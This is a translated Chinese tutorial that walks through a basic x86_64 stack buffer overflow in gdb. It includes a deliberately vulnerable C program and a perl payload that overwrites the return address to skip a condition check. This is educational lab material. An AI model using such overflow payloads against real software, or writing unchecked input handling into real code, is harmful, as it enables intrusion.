前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >一个简单的基于 x86_64 堆栈的缓冲区溢出利用 gdb

一个简单的基于 x86_64 堆栈的缓冲区溢出利用 gdb

作者头像
Khan安全团队
发布2022-01-05 10:31:48
1.1K0
发布2022-01-05 10:31:48
举报
文章被收录于专栏:Khan安全团队

背景

C 缓冲区溢出背后的基本思想非常简单。您有一个缓冲区,这是一块保留用于存储数据的内存。在堆栈的外部(在 x86 和 x86_64 上向下增长,这意味着随着内存地址变大,内存地址会下降),程序的其他部分被存储和操作。通常,我们进行黑客攻击的想法是按照我们认为合适的方式重定向程序流。对我们来说幸运的是,对堆栈的操作(堆栈“粉碎”)可以让我们做到这一点。通常,您会希望获得特权,通常是通过执行 shellcode - 或者无论您的最终目标是什么,但出于本教程的目的,我们只会将程序流重定向到我们无法访问的代码(在实践,这几乎可以是任何事情;甚至包括执行未正式存在的指令)。这是通过写入越过缓冲区的末尾并任意覆盖堆栈来完成的。

先决条件

你需要一些耐心,一个 C 编译器(我正在使用 gcc,我建议你继续使用它),以及 gdb(调试器,我亲切地称之为 giddabug),以及一台 Linux 机器或 VM,和 perl 或 python(本演练使用 perl)。

我的环境是:

gcc version 9.3.0 (Ubuntu 9.3.0-17ubuntu1~20.04) GNU gdb (Ubuntu 9.2-0ubuntu1~20.04) 9.2 Linux jerkon 5.11.0-41-generic #45~20.04.1-Ubuntu SMP Wed Nov 10 10:20:10 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux This is perl 5, version 30, subversion 0 (v5.30.0) built for x86_64-linux-gnu-thread-multi

易受攻击的代码

该程序容易受到缓冲区溢出的影响:

代码语言:javascript
复制
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

int main() {
    char u[16];
    volatile int p = 0;
    scanf("%s", u);
    if (p != 0) {
        printf("How u do dat?\n");
    }
    else {
        printf("Nope.\n");
    }
    return 0;
}

在阅读代码时,您会注意到我们分配了一个 16 字节的字符数组 u,但随后我们使用 scanf 来引入用户输入,而没有检查用户输入的数据长度。使用命令编译代码gcc pwnme.c -o pwnme -fno-stack-protector -ggdb。您需要 -ggdb 才能在 gdb 中看到 C 源文件,并且需要 -fno-stack-protector 以便堆栈粉碎保护不会编译到二进制文件中进行测试。

开发

只需运行它并按几个(超过 16 个!)随机键,您就会覆盖堆栈。除非仔细挑选输入的数据,否则这通常只会导致崩溃,更常见的是所谓的分段错误

代码语言:javascript
复制
[marshall@jerkon]{11:14 PM}: [~/Hack/bof_wt] $ ./pwnme
abcdefghijklmnopqrstuvwxy and z
Nope.
Segmentation fault (core dumped)
[marshall@jerkon]{11:39 PM}: [~/Hack/bof_wt] $

现在,您可以使用命令火了GDB和拉在我们的二进制:gdb ./pwnme。然后您应该会看到一些版本信息,并且假设您之前使用 -ggdb 在调试符号中编译,您应该看到:

代码语言:javascript
复制
Reading symbols from ./pwnme...
(gdb)

为了感受手头的代码,我通常做的最重要的事情之一是输入 disas main(反汇编的缩写)。您可以将 main 替换为从代码中调用的任何函数名称,包括使用的库。

代码语言:javascript
复制
(gdb) disas main
Dump of assembler code for function main:
   0x0000000000001169 <+0>:     endbr64
   0x000000000000116d <+4>:     push   %rbp
   0x000000000000116e <+5>:     mov    %rsp,%rbp
   0x0000000000001171 <+8>:     sub    $0x20,%rsp
   0x0000000000001175 <+12>:    movl   $0x0,-0x14(%rbp)
   0x000000000000117c <+19>:    lea    -0x10(%rbp),%rax
   0x0000000000001180 <+23>:    mov    %rax,%rsi
   0x0000000000001183 <+26>:    lea    0xe7a(%rip),%rdi        # 0x2004
   0x000000000000118a <+33>:    mov    $0x0,%eax
   0x000000000000118f <+38>:    callq  0x1070 <__isoc99_scanf@plt>
   0x0000000000001194 <+43>:    mov    -0x14(%rbp),%eax
   0x0000000000001197 <+46>:    test   %eax,%eax
   0x0000000000001199 <+48>:    je     0x11a9 <main+64>
   0x000000000000119b <+50>:    lea    0xe65(%rip),%rdi        # 0x2007
   0x00000000000011a2 <+57>:    callq  0x1060 <puts@plt>
   0x00000000000011a7 <+62>:    jmp    0x11b5 <main+76>
   0x00000000000011a9 <+64>:    lea    0xe65(%rip),%rdi        # 0x2015
   0x00000000000011b0 <+71>:    callq  0x1060 <puts@plt>
   0x00000000000011b5 <+76>:    mov    $0x0,%eax
   0x00000000000011ba <+81>:    leaveq
   0x00000000000011bb <+82>:    retq
End of assembler dump.
(gdb)

马上,您应该会在内存中看到一堆不同指令序列的位置。

您可以通过键入list 11which 应显示第 11 行前后 4 行的 C 源代码来了解您想要放置的代码的位置;你想降落的地方,在 printf("How you do dat?\n");。您的 gdb 会话现在应该如下所示:

代码语言:javascript
复制
(gdb) list 11
6       int main() {
7           char u[16];
8           volatile int p = 0;
9           scanf("%s", u);
10          if (p != 0) {
11              printf("How u do dat?\n");
12          }
13          else {
14              printf("Nope.\n");
15          }
(gdb)

我们现在将在第 10 行插入一个断点,if (p != 0)即我们想要规避的条件检查。

代码语言:javascript
复制
(gdb) break 10
Breakpoint 1 at 0x1194: file pwnme.c, line 10.
(gdb)

您还应该在第 11 行插入一个断点,以便在您到达正确位置时通知您。

下一部分需要一些反复试验,您需要弄清楚可以在缓冲区 u 末尾插入多少个 A(十六进制 0x41),直到完全覆盖 RIP 地址(返回指令指针)。

当您找到最大覆盖时,它应该看起来像这样:

代码语言:javascript
复制
(gdb) r <<< $(perl -e 'print "A"x30')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/marshall/Hack/bof_wt/pwnme <<< $(perl -e 'print "A"x30')

Breakpoint 1, main () at pwnme.c:10
10          if (p != 0) {
(gdb) c
Continuing.
Nope.

Program received signal SIGSEGV, Segmentation fault.
0x0000414141414141 in ?? ()
(gdb)

如您所见,我们遇到了分段错误,并且在发生错误时,RIP 指向 0x414141414141一个不存在的内存位置。您可以通过两种方式检查:

代码语言:javascript
复制
(gdb) info reg
rax            0x0                 0
rbx            0x5555555551c0      93824992235968
rcx            0x7ffff7ece1e7      140737352884711
rdx            0x0                 0
rsi            0x55555555a2b0      93824992256688
rdi            0x7ffff7fab4c0      140737353790656
rbp            0x4141414141414141  0x4141414141414141
rsp            0x7fffffffe070      0x7fffffffe070
r8             0x6                 6
r9             0x7c                124
r10            0x7ffff7fa8be0      140737353780192
r11            0x246               582
r12            0x555555555080      93824992235648
r13            0x7fffffffe150      140737488347472
r14            0x0                 0
r15            0x0                 0
rip            0x414141414141      0x414141414141
eflags         0x10246             [ PF ZF IF RF ]
cs             0x33                51
ss             0x2b                43
ds             0x0                 0
es             0x0                 0
fs             0x0                 0
gs             0x0                 0
(gdb) p/x $rip
$5 = 0x414141414141
(gdb)

现在程序已经运行,崩溃,并留下一些寄存器供 gdb 检查,你应该再次运行disas main,这次你的内存位置应该以 0x5555555 为前缀。

您现在可以运行info breakpoints,您将看到如下内容:

代码语言:javascript
复制
(gdb) info breakpoints
Num     Type           Disp Enb Address            What
1       breakpoint     keep y   0x0000555555555194 in main at pwnme.c:10
        breakpoint already hit 1 time
2       breakpoint     keep y   0x000055555555519b in main at pwnme.c:11
(gdb)

所以现在您知道原始 C 程序中的第 11 行对应于内存位置 0x000055555555519b。您也可以查看将在该位置执行的确切指令:

代码语言:javascript
复制
(gdb) x/i 0x000055555555519b
   0x55555555519b <main+50>:    lea    0xe65(%rip),%rdi        # 0x555555556007
(gdb)

到现在为止,您可能已经看到了发展方向。我们将要覆盖返回指针, 0x55555555519b以便跳过 p 条件。

您需要重新计算 A 的数量作为要使用的填充,通常是您使用的数字 - 6。

由于字节顺序,内存中的地址将向后,因此为了说明这一点,让我们尝试:

代码语言:javascript
复制
(gdb) r <<< $(perl -e 'print "A"x24 . "\x66\x55\x44\x33\x22\x11"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/marshall/Hack/bof_wt/pwnme <<< $(perl -e 'print "A"x24 . "\x66\x55\x44\x33\x22\x11"')

Breakpoint 1, main () at pwnme.c:10
10          if (p != 0) {
(gdb) c
Continuing.
Nope.

Program received signal SIGSEGV, Segmentation fault.
0x0000112233445566 in ?? ()
(gdb) p/x $rip
$12 = 0x112233445566
(gdb)

我们现在准备插入我们的内存位置0x000055555555519b。值得注意的是,前导零无关紧要,应在此处省略。此外,如果需要使用它,00 因为这会转换为 NULL,并且如果遇到 NULL 字符,代码执行就会停止,您需要找到另一种使用现有指令的方法

所以关键时刻,要使这项工作正常进行,您需要更改0x55555555519b编译器在内存中分配指令的位置。可能和我的不一样!

代码语言:javascript
复制
(gdb) r <<< $(perl -e 'print "A"x24 . "\x9b\x51\x55\x55\x55\x55";')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/marshall/Hack/bof_wt/pwnme <<< $(perl -e 'print "A"x24 . "\x9b\x51\x55\x55\x55\x55";')

Breakpoint 1, main () at pwnme.c:10
10          if (p != 0) {
(gdb) cont
Continuing.
Nope.

Breakpoint 2, main () at pwnme.c:11
11              printf("How u do dat?\n");
(gdb) cont
Continuing.
How u do dat?

Program received signal SIGBUS, Bus error.
main () at pwnme.c:17
17      }
(gdb)

结论

看来我们做到了!我们终于达到了断点 #2 并且能够执行 处的指令 0x55555555519b,打印“How u do do dat?”。

这个缓冲区溢出是非常微不足道的,大多数需要更多的工作来利用。但是,您现在应该获得一个一般概念,并在此过程中了解一些有关 gdb 的知识。

本文系外文翻译,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文系外文翻译前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档